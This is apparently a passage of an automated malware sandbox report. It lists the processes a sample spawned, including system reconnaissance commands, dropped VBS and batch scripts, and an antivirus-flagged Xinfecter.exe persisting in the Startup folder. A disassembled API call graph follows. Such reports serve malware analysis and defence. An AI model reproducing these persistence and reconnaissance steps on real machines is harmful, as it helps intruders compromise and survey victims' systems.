                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:30
                                        Start time:07:39:35
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\systeminfo.exe
                                        Wow64 process (32bit):true
                                        Commandline:systeminfo
                                        Imagebase:0xb70000
                                        File size:76'800 bytes
                                        MD5 hash:36CCB1FFAFD651F64A22B5DA0A1EA5C5
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:31
                                        Start time:07:39:35
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /i "original"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:32
                                        Start time:07:39:36
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:33
                                        Start time:07:39:36
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c ver
                                        Imagebase:0xa40000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:35
                                        Start time:07:39:37
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:36
                                        Start time:07:39:37
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\wscript.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
                                        Imagebase:0x7ff754970000
                                        File size:170'496 bytes
                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:37
                                        Start time:07:39:37
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
                                        Imagebase:0x7ff64f700000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:38
                                        Start time:07:39:37
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:39
                                        Start time:07:39:38
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
                                        Imagebase:0x7ff64f700000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:40
                                        Start time:07:39:39
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:41
                                        Start time:07:39:39
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\tasklist.exe
                                        Wow64 process (32bit):false
                                        Commandline:tasklist /v
                                        Imagebase:0x7ff6c2710000
                                        File size:106'496 bytes
                                        MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:42
                                        Start time:07:39:39
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\find.exe
                                        Wow64 process (32bit):false
                                        Commandline:find /I /c "dcdcf"
                                        Imagebase:0x7ff6ad940000
                                        File size:17'920 bytes
                                        MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:43
                                        Start time:07:39:41
                                        Start date:06/12/2024
                                        Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
                                        Imagebase:0xec0000
                                        File size:1'260'544 bytes
                                        MD5 hash:142C78E668B72F3962C176F81A941953
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Antivirus matches:
                                        • Detection: 100%, Avira
                                        • Detection: 100%, Joe Sandbox ML
                                        • Detection: 79%, ReversingLabs
                                        Has exited:true

                                        General

                                        Target ID:44
                                        Start time:07:39:41
                                        Start date:06/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6ee680000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:46
                                        Start time:07:39:52
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:47
                                        Start time:07:39:52
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I "GD8c7ARn8q.exe"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:48
                                        Start time:07:39:53
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:51
                                        Start time:07:40:08
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:52
                                        Start time:07:40:08
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I "GD8c7ARn8q.exe"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:53
                                        Start time:07:40:08
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:54
                                        Start time:07:40:23
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:55
                                        Start time:07:40:23
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I "GD8c7ARn8q.exe"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:56
                                        Start time:07:40:23
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:57
                                        Start time:07:40:38
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:58
                                        Start time:07:40:38
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I "GD8c7ARn8q.exe"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:59
                                        Start time:07:40:38
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:60
                                        Start time:07:40:53
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                        Wow64 process (32bit):true
                                        Commandline:tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
                                        Imagebase:0x3d0000
                                        File size:79'360 bytes
                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:61
                                        Start time:07:40:53
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\find.exe
                                        Wow64 process (32bit):true
                                        Commandline:find /I "GD8c7ARn8q.exe"
                                        Imagebase:0xfc0000
                                        File size:14'848 bytes
                                        MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:62
                                        Start time:07:40:53
                                        Start date:06/12/2024
                                        Path:C:\Windows\SysWOW64\timeout.exe
                                        Wow64 process (32bit):true
                                        Commandline:timeout /t 15 /nobreak
                                        Imagebase:0x150000
                                        File size:25'088 bytes
                                        MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        Disassembly

                                        Reset < >

                                          Execution Graph

                                          Execution Coverage:4.8%
                                          Dynamic/Decrypted Code Coverage:0%
                                          Signature Coverage:15.3%
                                          Total number of Nodes:2000
                                          Total number of Limit Nodes:36
                                          execution_graph 97975 8f152f 97976 8f153b ___unDNameEx 97975->97976 98005 8f11be 97976->98005 97978 8f1542 97979 8f169b 97978->97979 97982 8f156c 97978->97982 98798 8f20e8 4 API calls 2 library calls 97979->98798 97981 8f16a2 98799 911763 60 API calls _abort 97981->98799 97991 8f15ab ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 97982->97991 98016 920ba5 97982->98016 97984 8f16a8 98800 911715 60 API calls _abort 97984->98800 97987 8f16b0 97989 8f158b 97994 8f160c 97991->97994 98794 91172b 64 API calls 3 library calls 97991->98794 98026 920594 97994->98026 97995 8f1612 98030 88c8d0 97995->98030 97999 8f1633 97999->97981 98000 8f1637 97999->98000 98001 8f1640 98000->98001 98796 911706 60 API calls _abort 98000->98796 98797 8f1344 13 API calls 2 library calls 98001->98797 98004 8f1649 98004->97989 98006 8f11c7 98005->98006 98801 8f1885 IsProcessorFeaturePresent 98006->98801 98008 8f11d3 98802 90a976 10 API calls 3 library calls 98008->98802 98010 8f11d8 98015 8f11dc 98010->98015 98803 920a85 98010->98803 98013 8f11f3 98013->97978 98015->97978 98018 920bbc 98016->98018 98017 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98019 8f1585 98017->98019 98018->98017 98019->97989 98020 920b49 98019->98020 98021 920b94 98020->98021 98022 920b78 98020->98022 98023 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98021->98023 98022->98021 98826 861960 98022->98826 98024 920ba1 98023->98024 98024->97991 98027 9205a2 98026->98027 98028 92059d 98026->98028 98027->97995 99006 9202db 82 API calls 98028->99006 99007 8f1ec0 98030->99007 98033 88c934 98034 891f60 collate 28 API calls 98033->98034 98036 88c961 98034->98036 98035 8920a0 28 API calls 98035->98036 98036->98035 98037 88c999 98036->98037 98038 8923a0 _MREFOpen@16 28 API calls 98037->98038 98039 88c9aa 98038->98039 100255 887000 148 API calls 6 library calls 98039->100255 98041 88c9af 98042 892220 collate 26 API calls 98041->98042 98047 88c9c4 98042->98047 98043 88cb75 98050 88ece5 98043->98050 99012 8687e0 98043->99012 98045 88cb5d SetErrorMode SetConsoleTitleW 99009 8760a0 EnumWindows 98045->99009 98047->98043 98047->98045 98047->98047 98048 88cc70 99049 873030 98048->99049 98052 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98050->98052 98054 88ecff 98052->98054 98795 8f2207 GetModuleHandleW 98054->98795 98055 88cb92 98055->98048 99030 891ac0 98055->99030 98068 88ccba 99143 8649c0 98068->99143 98071 88cc2f 98073 892220 collate 26 API calls 98071->98073 98072 88ccc5 99150 89a2d0 98072->99150 98075 88cc3e 98073->98075 98080 8687e0 97 API calls 98075->98080 98082 88cc56 98080->98082 98084 892220 collate 26 API calls 98082->98084 98083 8649c0 52 API calls 98085 88cd14 98083->98085 98086 88cc61 98084->98086 98087 8649c0 52 API calls 98085->98087 98088 892220 collate 26 API calls 98086->98088 98089 88cd23 98087->98089 98088->98048 98090 88cd3c CopyFileW 98089->98090 98091 89a2d0 28 API calls 98090->98091 98092 88cd5a 98091->98092 98093 89a3a0 28 API calls 98092->98093 98094 88cd70 98093->98094 98095 89a260 28 API calls 98094->98095 98096 88cd86 98095->98096 98097 8649c0 52 API calls 98096->98097 98098 88cd94 98097->98098 98099 8649c0 52 API calls 98098->98099 98100 88cda3 98099->98100 98101 88cdbc CopyFileW 98100->98101 98102 88cdd1 98101->98102 99166 89ac60 98102->99166 98106 88ce10 98107 899d10 28 API calls 98106->98107 98108 88ce26 98107->98108 98109 892220 collate 26 API calls 98108->98109 98110 88ce38 98109->98110 98111 8996d0 28 API calls 98110->98111 98112 88ce4f 98111->98112 98113 899d10 28 API calls 98112->98113 98114 88ce65 98113->98114 98115 892220 collate 26 API calls 98114->98115 98116 88ce77 98115->98116 98117 8687e0 97 API calls 98116->98117 98118 88ce8f 98117->98118 98119 892220 collate 26 API calls 98118->98119 98120 88ce9a 98119->98120 98121 8687e0 97 API calls 98120->98121 98122 88ceb2 98121->98122 98123 892220 collate 26 API calls 98122->98123 98124 88cebd 98123->98124 98125 89ac60 28 API calls 98124->98125 98126 88cef3 98125->98126 98127 8996d0 28 API calls 98126->98127 98128 88cf0e 98127->98128 98129 899d10 28 API calls 98128->98129 98130 88cf24 98129->98130 98131 892220 collate 26 API calls 98130->98131 98132 88cf36 98131->98132 98133 8687e0 97 API calls 98132->98133 98134 88cf4e 98133->98134 98135 892220 collate 26 API calls 98134->98135 98136 88cf59 98135->98136 99180 884530 GetCurrentThread OpenThreadToken 98136->99180 98139 8687e0 97 API calls 98140 88cf74 98139->98140 99207 891a30 98140->99207 98142 88cfa3 99212 8738c0 98142->99212 98144 88d013 99561 876550 GlobalMemoryStatusEx 98144->99561 98146 88d01b 98148 876550 6 API calls 98146->98148 98147 88cfa8 98147->98144 98151 891a30 28 API calls 98147->98151 98149 88d025 98148->98149 98150 876550 6 API calls 98149->98150 98156 88d03c 98149->98156 98152 88d032 98150->98152 98153 88cfeb 98151->98153 98154 876550 6 API calls 98152->98154 98155 891a30 28 API calls 98153->98155 98154->98156 98157 88cffe 98155->98157 98159 89ac60 28 API calls 98156->98159 99250 869300 98157->99250 98160 88d086 98159->98160 99581 8921f0 98160->99581 98165 891930 26 API calls 98166 88d0ba 98165->98166 98167 8649c0 52 API calls 98166->98167 98168 88d0c5 98167->98168 98169 89ac60 28 API calls 98168->98169 98170 88d0f9 98169->98170 98171 868ae0 71 API calls 98170->98171 98172 88d10e 98171->98172 99597 89a520 98172->99597 98175 891930 26 API calls 98176 88d12c 98175->98176 98177 8649c0 52 API calls 98176->98177 98178 88d137 98177->98178 98179 8649c0 52 API calls 98178->98179 98180 88d142 98179->98180 99600 874cc0 NetUserEnum 98180->99600 98794->97994 98795->97999 98796->98001 98797->98004 98798->97981 98799->97984 98800->97987 98801->98008 98802->98010 98807 92d0fd 98803->98807 98806 90a99f 8 API calls 3 library calls 98806->98015 98808 92d11a 98807->98808 98811 92d116 98807->98811 98808->98811 98813 9242cc 98808->98813 98810 8f11e5 98810->98013 98810->98806 98818 8f0d3b 98811->98818 98814 9242d3 98813->98814 98815 924316 GetStdHandle 98814->98815 98816 92437e 98814->98816 98817 924329 GetFileType 98814->98817 98815->98814 98816->98808 98817->98814 98819 8f0d46 IsProcessorFeaturePresent 98818->98819 98820 8f0d44 98818->98820 98822 8f1f29 98819->98822 98820->98810 98825 8f1eed SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 98822->98825 98824 8f200c 98824->98810 98825->98824 98833 8cede0 98826->98833 98828 86198c 98842 8c5080 98828->98842 98832 8619b5 98832->98022 98865 8a4ee0 98833->98865 98835 8cee17 98888 8f101a 98835->98888 98838 8a4ee0 28 API calls 98839 8cee8b 98838->98839 98896 896e00 98839->98896 98841 8ceea5 Hash 98841->98828 98843 8c50be 98842->98843 98844 8c50c2 98842->98844 98846 8a4ee0 28 API calls 98843->98846 98997 8c86b0 24 API calls 3 library calls 98844->98997 98847 8c50e1 98846->98847 98966 8c49b0 CryptAcquireContextA 98847->98966 98849 8c50f0 98983 8c4f70 98849->98983 98851 8c50fc CryptGenRandom 98852 8c510a 98851->98852 98853 8c5164 98851->98853 98855 8c511c CryptReleaseContext 98852->98855 98857 8c5125 98852->98857 98854 892330 _MREFOpen@16 28 API calls 98853->98854 98856 8c5171 98854->98856 98855->98857 98998 8c4b10 30 API calls 3 library calls 98856->98998 98861 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98857->98861 98859 8c5181 98999 90858e RaiseException 98859->98999 98863 8619ab 98861->98863 98862 8c518f 98864 8f13a7 29 API calls __onexit 98863->98864 98864->98832 98866 8a4f36 98865->98866 98869 8a4f11 98865->98869 98867 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98866->98867 98868 8a4f4e 98867->98868 98868->98835 98869->98866 98870 8a4f2c 98869->98870 98871 8a4f54 98869->98871 98870->98866 98872 8a4f82 98870->98872 98908 892330 98871->98908 98873 892330 _MREFOpen@16 28 API calls 98872->98873 98875 8a4f8f 98873->98875 98914 8a56d0 28 API calls _MREFOpen@16 98875->98914 98879 8a4fa2 98915 90858e RaiseException 98879->98915 98880 8a4f74 98913 90858e RaiseException 98880->98913 98883 8a4fb0 98916 90827f 27 API calls 2 library calls 98883->98916 98885 8a5007 98917 8923a0 98885->98917 98887 8a5029 98887->98835 98890 8f101f 98888->98890 98891 8cee71 98890->98891 98893 8f103b collate 98890->98893 98949 91b3fc 98890->98949 98956 91d75b 7 API calls 2 library calls 98890->98956 98891->98838 98891->98841 98957 90858e RaiseException 98893->98957 98895 8f22ee 98897 896e61 98896->98897 98899 896e2f 98896->98899 98900 892330 _MREFOpen@16 28 API calls 98897->98900 98898 896e33 98898->98841 98899->98898 98963 8c8640 30 API calls 3 library calls 98899->98963 98902 896e6e 98900->98902 98964 865930 28 API calls _MREFOpen@16 98902->98964 98903 896e4d 98903->98841 98905 896e81 98965 90858e RaiseException 98905->98965 98907 896e8f 98909 892350 98908->98909 98909->98909 98928 891f60 98909->98928 98911 892362 98912 8a56d0 28 API calls _MREFOpen@16 98911->98912 98912->98880 98913->98872 98914->98879 98915->98883 98916->98885 98918 8923c6 98917->98918 98919 8923cd 98918->98919 98920 892403 98918->98920 98921 892426 98918->98921 98919->98887 98922 8f101a collate 22 API calls 98920->98922 98923 8f101a collate 22 API calls 98921->98923 98925 89241b _LStrxfrm 98921->98925 98924 892414 98922->98924 98923->98925 98924->98925 98926 9158b2 messages 26 API calls 98924->98926 98925->98887 98927 892463 98926->98927 98931 891f7e SimpleUString::operator= 98928->98931 98933 891fa4 98928->98933 98929 89208e 98946 89e330 28 API calls SimpleUString::operator= 98929->98946 98931->98911 98933->98929 98934 891ff8 98933->98934 98935 89201d 98933->98935 98936 8f101a collate 22 API calls 98934->98936 98937 8f101a collate 22 API calls 98935->98937 98939 892009 _LStrxfrm 98935->98939 98936->98939 98937->98939 98940 892070 messages 98939->98940 98941 9158b2 98939->98941 98940->98911 98947 915827 26 API calls 4 library calls 98941->98947 98943 9158c1 98948 9158cf 11 API calls _abort 98943->98948 98945 9158ce 98947->98943 98948->98945 98951 926303 std::_Locinfo::_W_Getdays 98949->98951 98950 926341 98959 916133 98950->98959 98951->98950 98952 92632c RtlAllocateHeap 98951->98952 98958 91d75b 7 API calls 2 library calls 98951->98958 98952->98951 98954 92633f 98952->98954 98954->98890 98956->98890 98957->98895 98958->98951 98962 924b6d 20 API calls 2 library calls 98959->98962 98961 916138 98961->98954 98962->98961 98963->98903 98964->98905 98965->98907 98967 8c49fb GetLastError CryptAcquireContextA 98966->98967 98968 8c4a26 98966->98968 98967->98968 98969 8c4a15 CryptAcquireContextA 98967->98969 98970 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 98968->98970 98969->98968 98971 8c4a44 SetLastError 98969->98971 98972 8c4a40 98970->98972 98973 892330 _MREFOpen@16 28 API calls 98971->98973 98972->98849 98974 8c4a58 98973->98974 99000 8c4b10 30 API calls 3 library calls 98974->99000 98976 8c4a6b 99001 90858e RaiseException 98976->99001 98978 8c4a79 99002 90827f 27 API calls 2 library calls 98978->99002 98980 8c4ac7 98981 8923a0 _MREFOpen@16 28 API calls 98980->98981 98982 8c4ae9 98981->98982 98982->98849 98984 8c5037 98983->98984 98994 8c4fb5 98983->98994 99003 8f0f1a 5 API calls __Init_thread_wait 98984->99003 98986 8c5041 98986->98994 99004 8f13a7 29 API calls __onexit 98986->99004 98987 8f101a collate 22 API calls 98988 8c4fc5 98987->98988 98990 8c49b0 35 API calls 98988->98990 98992 8c4fdd 98988->98992 98990->98992 98991 8c5065 99005 8f0ed0 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 98991->99005 98995 8c4ff7 CryptReleaseContext 98992->98995 98996 8c5000 messages 98992->98996 98994->98987 98994->98996 98995->98996 98996->98851 98997->98843 98998->98859 98999->98862 99000->98976 99001->98978 99002->98980 99003->98986 99004->98991 99005->98994 99006->98027 99008 88c8ec GetConsoleWindow ShowWindow 99007->99008 99008->98033 99008->98047 99010 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99009->99010 99011 8760d2 99010->99011 99011->98043 99013 868841 99012->99013 99014 8688c3 99013->99014 99015 868858 99013->99015 100303 915c39 99014->100303 99017 891f60 collate 28 API calls 99015->99017 99027 868872 99017->99027 99018 868908 100323 91547f 99018->100323 99019 86889c messages 99021 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99019->99021 99022 8688bf 99021->99022 99022->98055 99024 868978 99025 9158b2 messages 26 API calls 99024->99025 99028 86897d 99025->99028 99026 8688d5 99026->99018 99029 915c39 28 API calls 99026->99029 100318 8920a0 99026->100318 99027->99019 99027->99024 99029->99026 99031 891aea 99030->99031 99032 891b0e 99030->99032 99034 891f60 collate 28 API calls 99031->99034 100668 898810 28 API calls SimpleUString::operator= 99032->100668 99036 88cbf5 99034->99036 99035 891b13 99037 8997d0 99036->99037 99038 8997e0 99037->99038 100669 89e8f0 99038->100669 99040 88cc0b 99041 899d10 99040->99041 99042 8920a0 28 API calls 99041->99042 99043 88cc21 99042->99043 99044 892220 99043->99044 99045 89222b 99044->99045 99046 892246 messages 99044->99046 99045->99046 99047 9158b2 messages 26 API calls 99045->99047 99046->98071 99048 89226a 99047->99048 99050 891f60 collate 28 API calls 99049->99050 99051 873081 99050->99051 99052 8923a0 _MREFOpen@16 28 API calls 99051->99052 99053 873097 99052->99053 100679 872380 99053->100679 99055 87315f messages 99056 891f60 collate 28 API calls 99055->99056 99059 87318e 99056->99059 99057 8730a9 messages 99057->99055 99058 873890 99057->99058 99060 9158b2 messages 26 API calls 99058->99060 99061 8923a0 _MREFOpen@16 28 API calls 99059->99061 99062 8738b3 99060->99062 99063 8731a4 99061->99063 99064 872380 30 API calls 99063->99064 99067 8731b6 messages 99064->99067 99065 891f60 collate 28 API calls 99066 87329b 99065->99066 99068 8923a0 _MREFOpen@16 28 API calls 99066->99068 99067->99065 99069 8732b1 99068->99069 99070 872380 30 API calls 99069->99070 99073 8732c3 messages 99070->99073 99071 89ac60 28 API calls 99072 8733b5 99071->99072 99074 891f60 collate 28 API calls 99072->99074 99073->99071 99075 8733e1 99074->99075 99076 8923a0 _MREFOpen@16 28 API calls 99075->99076 99077 8733f3 99076->99077 99078 872380 30 API calls 99077->99078 99080 873402 messages 99078->99080 99079 89ad40 28 API calls 99081 8734d3 99079->99081 99080->99079 100755 8973b0 99081->100755 99083 8734f0 99084 89ac60 28 API calls 99083->99084 99085 873522 99084->99085 99086 891f60 collate 28 API calls 99085->99086 99087 87354b 99086->99087 99088 8923a0 _MREFOpen@16 28 API calls 99087->99088 99089 87355d 99088->99089 99090 872380 30 API calls 99089->99090 99093 87356c messages 99090->99093 99091 89ad40 28 API calls 99092 87363d 99091->99092 99094 8973b0 SimpleUString::operator= 28 API calls 99092->99094 99093->99091 99095 87365a 99094->99095 99096 891f60 collate 28 API calls 99095->99096 99097 87367f 99096->99097 99098 8923a0 _MREFOpen@16 28 API calls 99097->99098 99099 